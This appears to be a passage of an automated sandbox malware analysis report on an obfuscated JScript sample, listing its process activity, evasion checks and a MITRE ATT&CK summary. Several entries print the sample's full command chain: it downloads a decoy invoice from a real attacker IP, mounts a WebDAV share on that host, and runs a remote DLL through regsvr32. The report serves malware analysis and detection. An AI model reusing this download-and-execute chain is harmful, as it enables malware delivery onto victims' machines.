Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8078.js.csv");ITextStream.WriteLine(" entry:2525 f:gonqxz");ITextStream.WriteLine(" exec:2 f:gonqxz");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22btwtpw%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20hycytnza%3Dthis%5Bownbq%2Bpfgvhngry%2Bbocfghubu%2Bodknmmnhv%2Byxigmec%2Bxjtin%2Bffcnwm%2Btyahrd%5D(this%5Bqqcamz%2Bpwrwk%2Bvhlmihmu%2Bboc");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4354			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5542			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6348	Thread sleep count: 4354 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6348	Thread sleep count: 5542 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5400	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5024	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5492	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7176	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2078509879.0000013AF31D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0'$
Source: svchost.exe, 00000009.00000002.3320542879.0000024F24E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2078733354.0000013AF323E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2077450884.0000013AF323E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3321382486.0000024F26247000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3321428698.0000024F26259000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2078733354.0000013AF323E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2077450884.0000013AF323E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#p

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
